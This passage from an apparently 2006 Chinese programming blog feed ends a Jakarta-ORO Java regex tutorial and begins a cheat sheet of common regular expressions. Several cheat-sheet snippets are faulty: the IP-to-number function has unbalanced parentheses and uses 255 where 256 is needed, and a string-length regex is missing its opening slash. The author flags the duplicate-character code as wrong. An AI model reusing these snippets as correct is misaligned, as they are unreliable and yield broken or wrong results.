								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_h.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">使用PatternMatcher对象，你可以用多个方法进行匹配操作，这些方法的第一个参数都是需要根据正则表达式进行匹配的字符串： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">· boolean matches(String input, Pattern pattern)：当输入字符串和正则表达式要精确匹配时使用。换句话说，正则表达式必须完整地描述输入字符串。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">· boolean matchesPrefix(String input, Pattern pattern)：当正则表达式匹配输入字符串起始部分时使用。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">· boolean contains(String input, Pattern pattern)：当正则表达式要匹配输入字符串的一部分时使用（即，它必须是一个子串）。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">另外，在上面三个方法调用中，你还可以用PatternMatcherInput对象作为参数替代String对象；这时，你可以从字符串中最后一次匹配的位置开始继续进行匹配。当字符串可能有多个子串匹配给定的正则表达式时，用PatternMatcherInput对象作为参数就很有用了。用PatternMatcherInput对象作为参数替代String时，上述三个方法的语法如下： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">· boolean matches(PatternMatcherInput input, Pattern pattern) </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">· boolean matchesPrefix(PatternMatcherInput input, Pattern pattern) </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">· boolean contains(PatternMatcherInput input, Pattern pattern) </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>
																		<font size="4">三、应用实例</font>
																</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">下面我们来看看Jakarta-ORO库的一些应用实例。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>3.1 日志文件处理</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">任务：分析一个Web服务器日志文件，确定每一个用户花在网站上的时间。在典型的BEA WebLogic日志文件中，日志记录的格式如下： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_i.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">分析这个日志记录，可以发现，要从这个日志文件提取的内容有两项：IP地址和页面访问时间。你可以用分组符号（圆括号）从日志记录提取出IP地址和时间标记。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">首先我们来看看IP地址。IP地址有4个字节构成，每一个字节的值在0到255之间，各个字节通过一个句点分隔。因此，IP地址中的每一个字节有至少一个、最多三个数字。图八显示了为IP地址编写的正则表达式： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4h.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图八：匹配IP地址</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">IP地址中的句点字符必须进行转义处理（前面加上“\”），因为IP地址中的句点具有它本来的含义，而不是采用正则表达式语法中的特殊含义。句点在正则表达式中的特殊含义本文前面已经介绍。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">日志记录的时间部分由一对方括号包围。你可以按照如下思路提取出方括号里面的所有内容：首先搜索起始方括号字符（“[”），提取出所有不超过结束方括号字符（“]”）的内容，向前寻找直至找到结束方括号字符。图九显示了这部分的正则表达式。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4i.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图九：匹配至少一个字符，直至找到“]”</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">现在，把上述两个正则表达式加上分组符号（圆括号）后合并成单个表达式，这样就可以从日志记录提取出IP地址和时间。注意，为了匹配“- -”（但不提取它），正则表达式中间加入了“\s-\s-\s”。完整的正则表达式如图十所示。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4j.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图十：匹配IP地址和时间标记</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">现在正则表达式已经编写完毕，接下来可以编写使用正则表达式库的Java代码了。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">为使用Jakarta-ORO库，首先创建正则表达式字符串和待分析的日志记录字符串： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_j.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">这里使用的正则表达式与图十的正则表达式差不多完全相同，但有一点例外：在Java中，你必须对每一个向前的斜杠（“\”）进行转义处理。图十不是Java的表示形式，所以我们要在每个“\”前面加上一个“\”以免出现编译错误。遗憾的是，转义处理过程很容易出现错误，所以应该小心谨慎。你可以首先输入未经转义处理的正则表达式，然后从左到右依次把每一个“\”替换成“\\”。如果要复检，你可以试着把它输出到屏幕上。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">初始化字符串之后，实例化PatternCompiler对象，用PatternCompiler编译正则表达式创建一个Pattern对象： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_k.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">现在，创建PatternMatcher对象，调用PatternMatcher接口的contain()方法检查匹配情况： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_l.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">接下来，利用PatternMatcher接口返回的MatchResult对象，输出匹配的组。由于logEntry字符串包含匹配的内容，你可以看到类如下面的输出： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_m.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>3.2 HTML处理实例一</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">下面一个任务是分析HTML页面内FONT标记的所有属性。HTML页面内典型的FONT标记如下所示： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font face="Arial, Serif" size="3">
														</font>
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_n.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">程序将按照如下形式，输出每一个FONT标记的属性： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_o.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">在这种情况下，我建议你使用两个正则表达式。第一个如图十一所示，它从字体标记提取出“"face="Arial, Serif" size="+2" color="red"”。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4k.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图十一：匹配FONT标记的所有属性</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">第二个正则表达式如图十二所示，它把各个属性分割成名字-值对。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4l.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图十二：匹配单个属性，并把它分割成名字-值对</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">分割结果为： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_p.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">现在我们来看看完成这个任务的Java代码。首先创建两个正则表达式字符串，用Perl5Compiler把它们编译成Pattern对象。编译正则表达式的时候，指定Perl5Compiler.CASE_INSENSITIVE_MASK选项，使得匹配操作不区分大小写。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">接下来，创建一个执行匹配操作的Perl5Matcher对象。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_q.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">假设有一个String类型的变量html，它代表了HTML文件中的一行内容。如果html字符串包含FONT标记，匹配器将返回true。此时，你可以用匹配器对象返回的MatchResult对象获得第一个组，它包含了FONT的所有属性： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_r.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">接下来创建一个PatternMatcherInput对象。这个对象允许你从最后一次匹配的位置开始继续进行匹配操作，因此，它很适合于提取FONT标记内属性的名字-值对。创建PatternMatcherInput对象，以参数形式传入待匹配的字符串。然后，用匹配器实例提取出每一个FONT的属性。这通过指定PatternMatcherInput对象（而不是字符串对象）为参数，反复地调用PatternMatcher对象的contains()方法完成。PatternMatcherInput对象之中的每一次迭代将把它内部的指针向前移动，下一次检测将从前一次匹配位置的后面开始。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">本例的输出结果如下： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_s.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>3.3 HTML处理实例二</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">下面我们来看看另一个处理HTML的例子。这一次，我们假定Web服务器从widgets.acme.com移到了newserver.acme.com。现在你要修改一些页面中的链接： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_t.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">执行这个搜索的正则表达式如图十三所示： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4m.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图十三：匹配修改前的链接</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">如果能够匹配这个正则表达式，你可以用下面的内容替换图十三的链接： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<a href="http://newserver.acme.com/interface.html#$1" target="_self">
														</a>
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_u.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">注意#字符的后面加上了$1。Perl正则表达式语法用$1、$2等表示已经匹配且提取出来的组。图十三的表达式把所有作为一个组匹配和提取出来的内容附加到链接的后面。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">现在，返回Java。就象前面我们所做的那样，你必须创建测试字符串，创建把正则表达式编译到Pattern对象所必需的对象，以及创建一个PatternMatcher对象：<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_v.jpg" border="0" /></font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">接下来，用com.oroinc.text.regex包Util类的substitute()静态方法进行替换，输出结果字符串： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_w.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">Util.substitute()方法的语法如下： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table height="17" width="620" align="center">
								<tbody>
										<tr>
												<td class="a14" height="13">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_x.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">这个调用的前两个参数是以前创建的PatternMatcher和Pattern对象。第三个参数是一个Substiution对象，它决定了替换操作如何进行。本例使用的是Perl5Substitution对象，它能够进行Perl5风格的替换。第四个参数是想要进行替换操作的字符串，最后一个参数允许指定是否替换模式的所有匹配子串（Util.SUBSTITUTE_ALL），或只替换指定的次数。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>【结束语】</b>在这篇文章中，我为你介绍了正则表达式的强大功能。只要正确运用，正则表达式能够在字符串提取和文本修改中起到很大的作用。另外，我还介绍了如何在Java程序中通过Jakarta-ORO库利用正则表达式。至于最终采用老式的字符串处理方式（使用StringTokenizer，charAt，和substring），还是采用正则表达式，这就有待你自己决定了。</font>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8424.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:53 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8424.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>经典正则表达式 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8423.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:52:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8423.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8423.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8423.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8423.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8423.html</trackback:ping><description><![CDATA[
		<div class="post">
				<div class="postTitle">
						<font color="#000000">正则表达式用于字符串处理，表单验证等场合，实用高效，但用到时总是不太把握，以致往往要上网查一番。我将一些常用的表达式收藏在这里，作备忘之用。本贴随时会更新。</font>
				</div>
				<div class="postText">
						<p>
								<font color="#000000">匹配中文字符的正则表达式： [\u4e00-\u9fa5]</font>
						</p>
						<p>
								<font color="#000000">匹配双字节字符(包括汉字在内)：[^\x00-\xff]</font>
						</p>
						<p>
								<font color="#000000">应用：计算字符串的长度（一个双字节字符长度计2，ASCII字符计1）</font>
						</p>
						<p>
								<font color="#000000">String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;}</font>
						</p>
						<p>
								<font color="#000000">匹配空行的正则表达式：\n[\s| ]*\r</font>
						</p>
						<p>
								<font color="#000000">匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*) \/&gt;/ </font>
						</p>
						<p>
								<font color="#000000">匹配首尾空格的正则表达式：(^\s*)|(\s*$)</font>
						</p>
						<p>
								<font color="#000000">应用：javascript中没有像vbscript那样的trim函数，我们就可以利用这个表达式来实现，如下：</font>
						</p>
						<p>
								<font color="#000000">String.prototype.trim = function()<br />{<br />    return this.replace(/(^\s*)|(\s*$)/g, "");<br />}</font>
						</p>
						<p>
								<font color="#000000">利用正则表达式分解和转换IP地址：</font>
						</p>
						<p>
								<font color="#000000">下面是利用正则表达式匹配IP地址，并将IP地址转换成对应数值的Javascript程序：</font>
						</p>
						<p>
								<font color="#000000">function IP2V(ip)<br />{<br /> re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g  //匹配IP地址的正则表达式<br />if(re.test(ip))<br />{<br />return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1<br />}<br />else<br />{<br /> throw new Error("Not a valid IP address!")<br />}<br />}</font>
						</p>
						<p>
								<font color="#000000">不过上面的程序如果不用正则表达式，而直接用split函数来分解可能更简单，程序如下：</font>
						</p>
						<p>
								<font color="#000000">var ip="10.100.20.168"<br />ip=ip.split(".")<br />alert("IP值是："+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1))</font>
						</p>
						<p>
								<font color="#000000">匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*</font>
						</p>
						<p>
								<font color="#000000">匹配网址URL的正则表达式：http://([\w-]+\.)+[\w-]+(/[\w- ./?%&amp;=]*)?</font>
						</p>
						<p>
								<font color="#000000">
										<strike>利用正则表达式去除字串中重复的字符的算法程序</strike>：[注：此程序不正确，原因见本贴回复]</font>
						</p>
						<p>
								<font color="#000000">var s="abacabefgeeii"<br />var s1=s.replace(/(.).*\1/g,"$1")<br />var re=new RegExp("["+s1+"]","g")<br />var s2=s.replace(re,"") <br />alert(s1+s2)  //结果为：abcefgi<br /><br />我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法，最终没有找到，这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符，再以重复的字符建立第二个表达式，取到不重复的字符，两者串连。这个方法对于字符顺序有要求的字符串可能不适用。</font>
						</p>
						<p>
								<font color="#000000">得用正则表达式从URL地址中提取文件名的javascript程序，如下结果为page1</font>
						</p>
						<p>
								<font color="#000000">s="http://www.9499.net/page1.htm"<br />s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2")<br />alert(s)</font>
						</p>
						<p>
								<font color="#000000">利用正则表达式限制网页表单里的文本框输入内容：</font>
						</p>
						<p>
								<font color="#000000">用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))"</font>
						</p>
						<p>
								<font color="#000000">用正则表达式限制只能输入全角字符： onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,''))"</font>
						</p>
						<p>
								<font color="#000000">用正则表达式限制只能输入数字：onkeyup="value=value.replace(/[^\d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"</font>
						</p>
						<p>
								<font color="#000000">用正则表达式限制只能输入数字和英文：onkeyup="value=value.replace(/[\W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"<br /></font>
						</p>
						<p>正则表达式，相关链接 <br /><a href="http://blog.csdn.net/laily/category/19548.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/category/19548.aspx</font></a><br /><a href="http://blog.csdn.net/laily/archive/2004/06/30/30525.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/archive/2004/06/30/30525.aspx</font></a> 微软的正则表达式教程（五）：选择/编组和后向引用 <br /><br /><a href="http://blog.csdn.net/laily/archive/2004/06/30/30522.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/archive/2004/06/30/30522.aspx</font></a> 微软的正则表达式教程（四）：限定符和定位符 <br /><br /><a href="http://blog.csdn.net/laily/archive/2004/06/30/30517.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/archive/2004/06/30/30517.aspx</font></a> 微软的正则表达式教程（三）：字符匹配 <br /><br /><a href="http://blog.csdn.net/laily/archive/2004/06/30/30514.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/archive/2004/06/30/30514.aspx</font></a> 微软的正则表达式教程（二）：正则表达式语法和优先权顺序 <br /><br /><a href="http://blog.csdn.net/laily/archive/2004/06/30/30511.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/archive/2004/06/30/30511.aspx</font></a> 微软的正则表达式教程（一）：正则表达式简介 <br /><br /><a href="http://blog.csdn.net/laily/archive/2004/06/30/30360.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/archive/2004/06/30/30360.aspx</font></a> 小程序大作为：高级查找/替换、正则表达式练习器、Javascript脚本程序调试器 <br /><br /><a href="http://blog.csdn.net/laily/archive/2004/06/24/25872.aspx" target="_new"><font color="#002c99">http://blog.csdn.net/laily/archive/2004/06/24/25872.aspx</font></a> 经典正则表达式 <br /><br />正则表达式，正规表达式，正则表达式匹配，正则表达式语法，模式匹配，正规表达式匹配 javascript正则表达式 ASP正则表达式 ASP.NET正则表达式 C#正则表达式 JSP正则表达式 PHP正则表达式 VB.NET正则表达式 VBSCript正则表达式编程 delphi正则表达式 jscript <br /></p>
						<p>补充： <br />^\d+$　　//匹配非负整数（正整数 + 0） <br />^[0-9]*[1-9][0-9]*$　　//匹配正整数 <br />^((-\d+)|(0+))$　　//匹配非正整数（负整数 + 0） <br />^-[0-9]*[1-9][0-9]*$　　//匹配负整数 <br />^-?\d+$　　　　//匹配整数 <br />^\d+(\.\d+)?$　　//匹配非负浮点数（正浮点数 + 0） <br />^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$　　//匹配正浮点数 <br />^((-\d+(\.\d+)?)|(0+(\.0+)?))$　　//匹配非正浮点数（负浮点数 + 0） <br />^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$　　//匹配负浮点数 <br />^(-?\d+)(\.\d+)?$　　//匹配浮点数 <br />^[A-Za-z]+$　　//匹配由26个英文字母组成的字符串 <br />^[A-Z]+$　　//匹配由26个英文字母的大写组成的字符串 <br />^[a-z]+$　　//匹配由26个英文字母的小写组成的字符串 <br />^[A-Za-z0-9]+$　　//匹配由数字和26个英文字母组成的字符串 <br />^\w+$　　//匹配由数字、26个英文字母或者下划线组成的字符串 <br />^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$　　　　//匹配email地址 <br />^[a-zA-z]+://匹配(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\S*)?$　　//匹配url <a id="Comments.ascx_CommentList__ctl2_EditLink" href="javascript:__doPostBack('Comments.ascx$CommentList$_ctl2$EditLink','')"></a></p>
						<p>利用正则表达式去除字串中重复的字符的算法程序： <br /><br />var s="abacabefgeeii" <br />var s1=s.replace(/(.).*\1/g,"$1") <br />var re=new RegExp("["+s1+"]","g") <br />var s2=s.replace(re,"") <br />alert(s1+s2) //结果为：abcefgi <br />=============================== <br />如果var s = "abacabefggeeii" <br />结果就不对了，结果为：abeicfgg <br />正则表达式的能力有限 <a id="Comments.ascx_CommentList__ctl3_EditLink" href="javascript:__doPostBack('Comments.ascx$CommentList$_ctl3$EditLink','')"></a></p>1.确认有效电子邮件格式 <br />下面的代码示例使用静态 Regex.IsMatch 方法验证一个字符串是否为有效电子邮件格式。如果字符串包含一个有效的电子邮件地址，则 IsValidEmail 方法返回 true，否则返回 false，但不采取其他任何操作。您可以使用 IsValidEmail，在应用程序将地址存储在数据库中或显示在 ASP.NET 页中之前，筛选出包含无效字符的电子邮件地址。 <br /><br />[Visual Basic] <br />Function IsValidEmail(strIn As String) As Boolean <br />' Return true if strIn is in valid e-mail format. <br />Return Regex.IsMatch(strIn, ("^([\w-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([\w-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$") <br />End Function <br />[C#] <br />bool IsValidEmail(string strIn) <br />{ <br />// Return true if strIn is in valid e-mail format. <br />return Regex.IsMatch(strIn, 